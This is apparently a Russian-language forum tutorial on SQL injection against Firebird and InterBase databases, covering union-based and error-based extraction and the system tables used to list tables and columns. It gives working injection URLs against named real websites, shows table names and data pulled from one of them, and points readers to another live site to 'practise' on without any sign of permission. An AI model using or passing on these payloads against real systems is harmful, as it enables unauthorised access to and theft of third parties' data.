история вопроса:
Цитата:
Firebird - это коммерчески независимый проект C и C++ программистов, технических советников и разработчиков мультиплатформенных систем управления базами данных, основанный на исходном коде, выпущенном корпорацией Borland 25 июля 2000 года в виде свободной версии Interbase 6.0.
|
почему firebird а не interbase? - бесплатность, распостраненность, функциональность, а в остальном они схожи )
особенности:
1. select запросы должны содержать кейворды from table
2. аналоги limit'a:
interbase >= 6.5
Код:
select * from table order by <field_list>
[ROWS <lower_value> [TO <upper_value>] [BY <step_value>]
Firebird >= 1.0 select first [limit] skip [at],
подробности
Firebird >= 2.0 так же поддерживает rows,
подробности
3. символы комментариев:
3.1
-- firebird (>1.0)
3.2 а что мешает продолжить запрос?) interbase, firebird все версии =)
4. datatypes
Цитата:
Firebird is very strict with datatypes, and when you have different datatype in queries that make up the UNION it throws an error. It can happen even if difference is something trivial like CHAR(5) vs CHAR(6). It also happens for decimal and double datatypes, and (one of the most annoying) when you put NULL or zero.
|
5. discovering
warning: + php функции:
ibase_query()
ibase_fetch_row()
ibase_fetch_object()
ibase_fetch_assoc()
ibase_free_result()
6. конкатенация осуществляется символами ||
Теперь о самих sqli:
способ 1 (union select)
подбор колонок:
1) Дедовский способ:
Код:
?param=1+union+select+1+from+rdb$relations--
характерная ошибка: Invalid command count of column list and variable list do not match
2) order/group by
Код:
?param=1+order+by+99--
характерная ошибка: Invalid column position used in the ORDER BY
а дальше 2 варианта развития событий, либо типы столбцов не совпадают (Invalid command Data type unknown) и вам придется шаманить с cast(lala as datatype(n)) см. особенность (4)
либо вам повезло (с вероятностью 0.0001%)) и типы данных совпадают как, например, (сейчас и в дальнейшем главный подопытный) здесь:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=2+union+select+rdb$fie ld_name,2+from+rdb$relation_fields--
|
способ 2 (conversion error)
состовляем подзапрос:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+rdb$re lation_name+from+rdb$relation_fields)--
|
и ловим следущую ошибку: conversion error from string "RDB$PAGES"
внимание, если появляется ошибка: arithmetic exception, numeric overflow, or string truncation
конвертируем данные с cast(lala as datatype(n))
теперь, независимо от выбранного вами способа, надо рассказать о некоторых системных таблицах firebird
rdb$relation - аналог information_schema.tables
полезные колонки:
Код:
rdb$relation_name - имя таблицы
rdb$system_flag - принадлежность таблицы к системным (хороший способ отсеивания, 1 = системная)
rdb$relation_fields - поля для таблиц
полезные колонки:
Код:
rdb$field_name - очевидно из названия
rdb$system_flag - то же самое
rdb$field_position - порядковый номер поля
rdb$relation_name, rdb$base_field - определяют имена таблиц
так же хотелось бы отметить присутствие колонки rdb$field_source, она содержит имя домена, автоматически прописанного для каждого столбца в rdb$fields, которая в свою очередь содержит колонку rdb$field_type, определяющую тип поля:
Код:
261 - BLOB
14 - CHAR
40 - CSTRING
11 - DFLOAT
27 - DOUBLE
10 - FLOAT
16 - INT64
8 - INTEGER
9 - QUAD
7 - SMALLINT
12 - DATE
13 - TIME
35 - TIMESTAMP
37 - VARCHAR
что в теории в купе с bsqli может быть полезным для способа union select ;)
how to use:
настало время вывести 1ую таблицу из rdb$relations, делается это так:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+distin ct+rdb$relation_name+from+rdb$relations+where+rdb$ system_flag=0)--
|
=> conversion error from string "ACCESS"
далее, n=1,2,...
таблицы повторяются, поэтому желательно использовать оператор distinct:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n +distinct+rdb$relation_name+from+rdb$relations+whe re+rdb$system_flag=0)--
|
колонки (если ковычки слешируются можно воспользоватся функцией ascii_char (firebird 2.1), в InterBase по дефолту (поправте если ошибаюсь) вообще нет строковых функций=)):
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n +rdb$field_name+from+rdb$relation_fields+where+rdb $system_flag=0+and+rdb$relation_name=ascii_char(83 )||ascii_char(85)||ascii_char(66)||ascii_char(83))--
|
выводим данные:
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+0 +distinct+cast(id||name+as+char(777))+from+autor)--
|
возможен и
посимвольный перебор (n=1,2,...):
Цитата:
http://www.infomedia.by/image.php?operator=2)+and+substring((select+first+ 1+rdb$relation_name+from+rdb$relation_fields)+from +n+for+1)!=ascii_char(63)+and+(1=1
|
хорошая картинко:
http://img689.imageshack.us/img689/462/firebird.gif
потренероваться можно здесь:
http://www.ppc4all.com/category.php?cat=(select+first+1+user+from+rdb$rel ation_fields)